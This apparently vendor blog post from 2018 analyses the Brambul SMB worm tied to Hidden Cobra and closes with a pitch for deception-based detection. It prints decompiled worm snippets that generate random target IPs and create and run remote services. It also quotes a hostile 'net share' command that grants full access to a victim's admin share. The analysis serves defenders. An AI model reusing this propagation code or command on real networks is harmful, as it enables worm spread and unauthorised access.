

[WHY ACALVIO](#)[PRODUCT](#)[RESOURCES](#) ▾[BLOG](#)[PARTNERS](#)[COMPANY](#) ▾

# Lateral Movement Technique Employed by Hidden Cobra

by Abhishek Singh | Jun 13, 2018 | Blog |



US-Cert recently issued notification regarding malicious cyber activity by the North Korean government [1] Hidden Cobra.

There are two families of malware used by the North Korean Government.

- Remote Access Tool (RAT) known as Jonap
- A Server Message Block (SMB) worm called as Brambul worm.

As per the US-Certreport, Hdden Cobra has been using this malware since 2009 to target multiple victims globally and in the United States, including media, aerospace, financial industries, and critical infrastructure sectors.

In this blog, we share the technical details and spreading techniques used by the Brambul worm. Thereafter, we discuss how it can be detected by distributed deception platform.

## Recent Posts

The New York Post – This Teen Made \$100,000 For Legally Hacking Major Companies

MarketWatch – This 18-Year-Old's Hacking Side Hustle Has Earned Him \$100,000 — And It's Legal

BrightTALK – TAG-Cyber's Ed Amoroso Interviews Acalvio

## Brambul Worm

The worm invokes multiple threads which then randomly generates IP addresses for infection.

```

v2 = GetTickCount();
srand(v2);
v3 = a1;
while ( 1 )
{
    Dest = 0;
    v14 = 0;
    v15 = 0;
    v16 = 0;
    v17 = 0;
    v18 = 0;
    v19 = 0;
    do
    {
        do
        {
            v10 = sub_10004260();
            v9 = sub_100042A0();
            v8 = sub_100042A0();
            v4 = sub_100042A0();
            sprintf(&Dest, "%d.%d.%d.%d", v10, v9, v8, v4);
        }
    }
}

```

Figure 1.0 Showing the code for random generation of IP address.

Once the victim's IP addresses have been generated it connects to \\IPC\$ share, on the port 445 of the victim machine using Administrator as the username and fixed hardcoded passwords.

Thereafter, the malware code makes a call to the WNetAddConnection2 API to connect to a network resource and constructs the below command.

*"cmd.exe /q /c net share admin\$=%%SystemRoot%% /GRANT:%s, FULL"*

It then makes calls to the service manager. *OpenSCManagerA()* with the victim machine machines on the network as the parameter. *StartServiceA()* then executes the command which grants full permission on the remote machine. Once the command has been executed, the code makes a call to *DeleteService()* which then deletes the service.

3 Minutes  
Until the  
Apocalypse –  
Technical  
White Paper

TAG Cyber  
Interview of  
Acalvio's John  
Bradshaw

## Archives

July 2018  
June 2018  
May 2018  
April 2018  
March 2018  
February  
2018  
January 2018  
December  
2017  
November  
2017  
October 2017  
September  
2017  
August 2017  
July 2017  
June 2017  
May 2017  
April 2017

```

signed int __stdcall sub_10004130(LPCSTR lpMachineName, LPCSTR lpDisplayName, LPCSTR lpBinaryPathName)
{
    SC_HANDLE v3; // edi@1
    signed int result; // eax@2
    SC_HANDLE v5; // eax@3
    SC_HANDLE v6; // esi@3

    v3 = OpenSCManager(lpMachineName, 0, 0xF003Fu);
    if ( v3 )
    {
        v5 = CreateService(v3, lpDisplayName, lpDisplayName, 0xF01FFu, 0x10u, 3u, 1u, lpBinaryPathName, 0, 0, 0, 0);
        v6 = v5;
        if ( v5 )
        {
            StartService(v5, 0, 0);
            ControlService(v6, 1u, 0);
            if ( !DeleteService(v6) )
                printf("%s DeleteService failed!\n", lpMachineName);
            CloseServiceHandle(v6);
            CloseServiceHandle(v3);
            result = 1;
        }
        else
    }
}

```

Once the full permission is granted on the remote machine, the worm is copied to the remote machine.

## Detection by Distributed Deception Platform

As such, the worm is not quite sophisticated and primarily relies on brute force attempts. This will be successful only in weak environments. If a Distributed Deception Platform is deployed in a [threat agnostic](#) manner network, enumeration by the Brambul Worm will get detected with very high confidence. [deployment of a distributed deception platform is discussed in a [previous blog](#)]. Brute force attacks on the Distributed Deception Platform leads to isolation of the end-point, thereby containing damage in a timely manner.

## References:

[1] Hidden Cobra – North Korean Malicious Cyber Activity.  
<https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity>

[2] HIDDEN COBRA – Jonap Backdoor Trojan and Brambul SMB worm  
<https://www.us-cert.gov/ncas/alerts/TA18-149A>

March 2017

February

2017

January 2017

December

2016

November

2016

October 2016

September

2016

August 2016

July 2016

## Categories

Analyst

Reports

Blog

Data Sheets

E-Books

Events

In the News

Press

Releases

Resources

T-Shirts

Video

Webinars

White Papers

**Acalvio provides Advanced Threat Defense (ATD)**

solutions to detect, engage and respond to malicious activity inside the perimeter. The solutions are anchored on patented innovations in Deception and Data Science. This enables a DevOps approach to ATD, enabling ease of deployment, monitoring and management. Acalvio enriches its threat intelligence by data obtained from internal and partner ecosystems, enabling customers to benefit from defense in depth, reduce false positives, and derive actionable intelligence for remediation.



© Acalvio Technologies, Inc. All rights reserved.

[PRODUCT](#)   [WHY ACALVIO](#)   [BLOG](#)   [COMPANY](#)   [CONTACT US](#)  
[RESOURCES](#)   [PRIVACY POLICY](#)